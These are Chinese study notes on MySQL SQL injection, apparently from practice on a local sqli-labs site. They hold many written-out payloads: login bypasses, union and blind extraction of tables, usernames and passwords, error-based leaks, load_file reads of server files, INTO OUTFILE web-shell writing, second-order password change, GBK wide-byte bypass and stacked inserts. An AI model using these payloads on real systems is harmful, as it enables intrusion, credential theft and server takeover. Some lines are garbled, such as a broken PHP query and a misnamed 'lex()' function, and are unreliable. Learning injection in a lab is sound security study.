学习目标:能看懂大部分的sql语句,做到给一个复杂的sql语句能看懂,知道是干什么用的,为什么这么写.
第一部分:获取payload
通过sqlmap awvs等工具
更新sqlmap
内容太多,先放弃了 用着再查
1、注入的分类:
基于从服务器接收到的响应
▲基于错误的 SQL 注入
在URL加入了一些错误的SQL语句,被执行后返回了异常信息,这些异常信息当中包含了敏感信息
▲联合查询的类型
▲堆查询注入
回显注入:利用注入漏洞可以改变页面返回数据
▲SQL 盲注
•基于布尔 SQL 盲注
通过条件是否成立来判断substr截取第一个字符判断是否大于’a’,成立则页面返回数据
•基于时间的 SQL 盲注
通过返回时间的长短判断
获取第一个字符的ascii码,判断是否大于115,不成立延时5秒返回
•基于报错的 SQL 盲注
基于如何处理输入的 SQL 查询(数据类型)
•基于字符串
•数字或整数为基础的
基于程度和顺序的注入(哪里发生了影响)**
★一阶注射
★二阶注射
一阶注射是指输入的注射语句对 WEB 直接产生了影响, 出现了结果; 二阶注入类似存
储型 XSS, 是指输入提交的语句, 无法直接对 WEB 应用程序产生影响, 通过其它的辅助间
接的对 WEB 产生危害, 这样的就被称为是二阶注入.
基于注入点的位置上的
▲通过用户输入的表单域的注射。
▲通过 cookie 注射。
▲通过服务器变量注射。 (基于头部信息的注射)
以上就是通常分类,先记录下,通过后面的实验练习加深理解
2、系统函数
介绍几个常用函数:
3、字符串连接函数
以上三个函数能一次性查出所有信息 .
4、一般用于尝试的语句
Ps:–+可以用#替换, url 提交过程中 Url 编码后的#为%23
or 1=1–+
'or 1=1–+
“or 1=1–+
)or 1=1–+
‘)or 1=1–+
") or 1=1–+ "))or 1=1–+
一般的代码为:
i d = id= id=_GET[‘id’];
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECT∗FROMusersWHEREid=′id’ LIMIT 0,1”;
此处考虑两个点, 一个是闭合前面你的 ‘ 另一个是处理后面的 ‘ , 一般采用两种思路, 闭合后面的引号或者注释掉, 注释掉采用–+ 或者 #(%23)
5、union 操作符的介绍
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。 请注意, UNION 内部的 SELECT语句必须拥有相同数量的列。 列也必须拥有相似的数据类型。 同时, 每条 SELECT 语句中的列的顺序必须相同。
SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2
注释: 默认地, UNION 操作符选取不同的值。 如果允许重复的值, 请使用 UNION ALL。另外, UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
6 、sql 中的逻辑运算
万能密码:
正常
Select * from admin where username=’ admin’ and password=’ admin’
密码:’ or 1=1#
Select * from admin where username=’ admin’ and password=’ ’ or 1=1#
where 子 句后有 三 个 条 件 语 句 ==username=’ admin’ and password=’ ’ or 1=1,在sql 中and 运算优先级大于or的运算优先级,结果恒为真。
7、 注入流程
数据库存储的数据形式如上图,注入的过程就是先拿到数据库名,再获取当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据
Mysql 有一个系统数据库 information_schema, 存储着所有的数据库的相关信息, 一般的,我们利用该表可以进行一次完整的注入。 以下为一般的流程 :
猜数据库 :
猜某库的数据表 :
select table_name from information_schema.tables where table_schema='dvwa';
猜某表的所有列
select column_name from information_schema.columns where table_name='users';
select * from 表名;
第三部分:实验演示
联合查询的类型
payload:-1'union select 1,group_concat(schema_name),3 from information_schema.schemata --+
1、group_concat(str1,str2,...)--连接一个组的所有字符串, 并以逗号分隔每一条数据
2、union 联合注入, union 的作用是将两个 sql 语句进行联合, union 前后的两个 sql 语句的选择列数
要相同才可以。 U nion all 与 union 的区别是增加了去重的功能
3、当 id 的数据在数据库中不存在时, id=-1, 两个 sql 语句进行联合操作时,当前一个语句选择的内容
为空,就将后面的语句的内容显示出来,此处前台页面返回了我们构造的 union 的数据
4、此处利用 order by 对前面的数据进行排序, 这里有三列数据, 我们就只能用order by 3,超过 3 就会
报错。‘order by 4--+的结果显示结果超出。
盲注
盲注:sql 注入过程中, sql 语句执行的选择后, 选择的数据不能回显,不返回数据库当中的信息到前端页面。
盲注可以分为三类:
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
1: 基于布尔 SQL 盲注-构造逻辑判断
截取字符串相关函数解析
▲lex(database(),1)>’ s’ //lex()函数
Explain:database()显示数据库名称, lex(a,b)从左侧截取 a 的前 b 位
▲ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+ //substr()函数, ascii()函数
Explain: substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度。 Ascii()将某个字符转换为 ascii 值
▲ascii(substr((select database()),1,1))=98
▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数, MID()函数
Explain: mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位 Ord()函数同 ascii(), 将字符转为 ascii 值
▲regexp 正则注入 存疑
正则注入介绍
▲like 匹配注入
和上述的正则类似, mysql 在匹配的时候我们可以用 ike 进行匹配。
用法: select user() like ‘ro%
2: 基于报错的 SQL 盲注-构造 payload 让信息通过错误提示回显出来 存疑
▲extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql 对 xml 数据进行查询和修改的 xpath 函数, xpath 语法错误
▲updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql 对 xml 数据进行查询和修改的 xpath 函数, xpath 语法错误
▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; //mysql 重复特性, 此处重复了 version, 所以报错。
3:基于时间的 SQL 盲注–延时注入
▲ If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,执行 sleep
IF表达式
IF(expr1,expr2,expr3)
如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF()的返回值为数字值或字符串值,具体情况视其所在语境而定。
布尔盲注演示
http://127.0.0.1/sqllib/Less-5/?id=1 'and lex(version(),1)=5#
1) 利用 lex(database(),1)进行尝试 查看 version(), 数据库的版本号为 10.1.36, 这句话的意思是查看版本号第一位是不是1, 明显的返回的结果是正确的
当版本号不正确的时候, 则不能正确显示 you are in…
http://127.0.0.1/sqllib/Less-5/ ?id=1 'and length(database())=8 --+ 判读数据库长度
猜测数据库第一位 继而猜测第二位 采用二分法
报错盲注演示
http://127.0.0.1/sqllib/Less-5/?id=1 ' union Select 1,count(),concat(0x3a,0x3a,(select user()),0 x3a,0x3a,floor(rand(0) 2))a from information_schema.columns group by a--+
利用 double 数值类型超出范围进行报错注入
http://127.0.0.1/sqllib/Less-5/?id=1 ' union select (exp(~(select * FROM(SELECT USER())a))),2, 3--+
利用 bigint 溢出进行报错注入
http://127.0.0.1/sqllib/Less-5/?id=1 ' union select (!(select * from (select user())x) - ~0),2,3- -+
xpath 函数报错注入
http://127.0.0.1/sqllib/Less-5/?id=1 ' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+http://127.0.0.1/sqllib/Less-5/?id=1 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+
利用数据的重复性
http://127.0.0.1/sqllib/Less-5/?id=1 'union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+
演示盲注演示
http://127.0.0.1/sqllib/Less-5/ ?id=1'and if(ascii(substr(database(),1,1))=116,1,sleep(5))--+ 当错误的时候会有 5 秒的时间延时。
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
说明第一位是 s (ascii 码是 115)
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))–+
说明第二位是 e (ascii 码是 101)以此类推 猜出数据的名字是security
猜测 security 的数据表:
http://127.0.0.1/sqllib/Less-9/?id=1 'and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+
猜测第一个数据表的第一位是 e,…依次类推, 得到 emails
http://127.0.0.1/sqllib/Less-9/?id=1 'and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1))=114,1,sleep(5))–+
猜测第二个数据表的第一位是 r,…依次类推, 得到 referers
以此类推, 我们可以得到所有的数据表 emails,referers,uagents,users
猜测users表的列
http://127.0.0.1/sqllib/Less-9/?id=1 'and If(ascii(substr((selectcolumn_name from information schema.columns where table_name=‘users’ limit 0,1),1,1))=105,1,sleep(5))–+
猜测 users 表的第一个列的第一个字符是 i,
以此类推, 我们得到列名是 id, username, password
猜测 username 的值:
http://127.0.0.1/sqllib/Less-9/?id=1 'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))–+
猜测 username 的第一行的第一位
以此类推, 我们得到数据库 username, password 的所有内容
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、 必须有权限读取并且文件必须完全可读
and (select count( ) from mysql.user)>0/ 如果结果返回正常,说明具有读写权限。
and (select count( ) from mysql.user)>0/ 返回错误, 应该是管理员给数据库帐户降权
B、 欲读取文件必须在服务器上
C、 必须指定文件完整的路径
Mysql 注入—sqlilabs—lcamry 30
D、 欲读取文件必须小于max_allowed_packet
如果该文件不存在, 或因为上面的任一原因而不能被读出, 函数返回空。 比较难满足的
就是权限, 在 windows 下, 如果 NTFS 设置得当, 是不能读取相关的文件的, 当遇到只有
administrators 才能访问的文件, users 就别想 load_file 出来。
在实际的注入中, 我们有两个难点需要解决:
绝对物理路径
构造有效的畸形语句 (报错爆出绝对路径)
在很多 PHP 程序中, 当提交一个错误的 Query, 如果 display_errors = on, 程序就会暴露
WEB 目录的绝对路径, 只要知道路径, 那么对于一个可以注入的 PHP 程序来说, 整个服务
器的安全将受到严重的威胁。
常用路径:
http://www.cnblogs.com/lcamry/p/5729087.html
示例: Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来, 尤其是 smb 文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) Explain: “char(99,58,47,98,111,111,116,46,105,110,105)” 就是“c:/boot.ini” 的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69) Explain: “c:/boot.ini” 的 16 进制是“0x633a2f626f6f742e696e69” -1 union select 1,1,1,load_file(c:\boot.ini) Explain:路径里的/用 \代替
2、 文件导入到数据库
LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行, 并装入一个表中。 文件名称必须为一个文字字符串。
在注入过程中, 我们往往需要一些特殊的文件, 比如配置文件, 密码文件等。 当你具有数据库的权限时, 可以将系统文件利用 load data infile 导入到数据库中。
示例: load data infile ‘/tmp/t0.txt’ ignore into table t0 character set gbk fields terminated by ‘\t’ lines terminated by ‘\n’
将/tmp/t0.txt 导入到 t0 表中, character set gbk 是字符集设置为 gbk, fields terminated by 是每一项数据之间的分隔符, lines terminated by 是行的结尾符。
当错误代码是 2 的时候的时候, 文件不存在, 错误代码为 13 的时候是没有权限, 可以考虑/tmp 等文件夹。
3、 导入到文件
SELECT…INTO OUTFILE ‘file_name’
可以把被选择的行写入一个文件中。 该文件被创建到服务器主机上, 因此您必须拥有 FILE 权限, 才能使用此语法。 file_name 不能是一个已经存在的文件。
有两种形式:
第一种直接将 select 内容导入到文件中:
Select version() into outfile “c:\phpnow\htdocs\test.php”
此处将 version()替换成一句话, 也即
Select into outfile “c:\phpnow\htdocs\test.php”
然后直接连一句话
第二种修改文件结尾:
Select version() Into outfile “c:\phpnow\htdocs\test.php” LINES TERMINATED BY 0x16 进制文件 解
释: 通常是用‘\r\n’ 结尾, 此处我们修改为自己想要的任何文件。 同时可以用 FIELDS TERMINATED BY16 进制可以为一句话或者其他任何的代码, 可自行构造。 在 sqlmap 中 os-shell 采取的
就是
这样的方式, 具体可参考 os-shell 分析文章:
http://www.cnblogs.com/lcamry/p/5505110.html
写入一句话木马
http://127.0.0.1/sqllib/Less-7/ ?id=1’)) UNION SELECT 1,2,’’ into outfile “E:\WEB\XMAPP\htdocs\sqllib\Less-7\test.php” --+
输入正确用户名和密码
提交 username 和 password 后, 后台形成的 sql 语句为
$sql="SELECT username, password FROM users WHERE username='admin' and password='$passwd' LIMIT 0,1";
万能密码:
用户名:admin’or’1’='1# admin ’ # 密码:密码随便输入
$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1# and password='$passwd' LIMIT 0,1";
猜测数据库第一位
uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit
payload: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
payload: 'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
payload: 'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
什么是二次排序:二次排序注入也成为存储型的注入, 就是将可能导致sql 注入的字符先存入到数据库中, 当再次调用这个恶意构造的字符时, 就可以出触发sql 注入。
二次排序注入思路:
注册用户名为admin’# 密码为123的账号
登录用户名 admi’# 并修改密码
可以看到admin 密码被修改了
Sql 语句变为 UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’ # ’ AND password=’ , 也 就 是 执 行 了 UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’
利用注册的admin’# 修改密码时候从数据库提取该数据 造成了数据 命令拼接
mysql 在使用 GBK 编码的时候, 会认为两个字符为一个汉字, 例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围) 。 我们在过滤 ’ 的时候, 往往利用的思
路是将 ‘ 转换为 \’
1、 %df 吃掉 \ 具体的原因是 urlencode(‘) = %5c%27, 我们在%5c%27 前面添加%df, 形 成%df%5c%27, 而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字, 此 事%df%5c 就是一个汉字, %27 则作为一个单独的符号在外面, 同时也就达到了我们的目的。
2、 将 \’ 中的 \ 过滤掉, 例如可以构造 %**%5c%5c%27 的情况, 后面的%5c 会被前面的%5c给注释掉。 这也是 bypass 的一种方法。
get 型的方式我们是以 url 形式提交的, 因此数据会通过 URLencode
post 型的注入当中, 将 utf-8 转换为 utf-16 或 utf-32, 例如将 ‘ 转为 utf-16 为 � ’
1、在 SQL 中, 分号(;) 是用来表示一条 sql 语句的结束。
2、在 ; 结束一个 sql语句后继续构造下一条语句就造就了堆叠注入。
3、与union injection(联合注入)的 区别就在于 union或者 union all 执行的语句类型是有限的, 可以用来执行查询语句, 而堆叠
注入可以执行的是任意的语句
堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制,在我们的 web 系统中, 因为代码通常只返回一个查询结果, 因此, 堆叠注入第二个语句产生错误或者结果只能被忽略, 我们在前端界面是无法看到返回结果的。因此, 在读取数据时,建议使用union(联合) 注入。 同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的, 例如表
名, 列名等信息
PS:oracle 不能使用堆叠注入, 当有两条语句在同一行时, 直接报错。 无效字符。
堆叠注入payload:
http://127.0.0.1/sqli-labs/Less-38/index.php ?id=1%27;insert into users(id,username,password) values ('39','less39','hello')--+
原始注入遇到困难时,可尝试加载相应脚本,进行绕过用法: --tamper**“脚本名称”(可使用多个tamper) sqlmap版本1.2.7.20,共有57个tamper脚本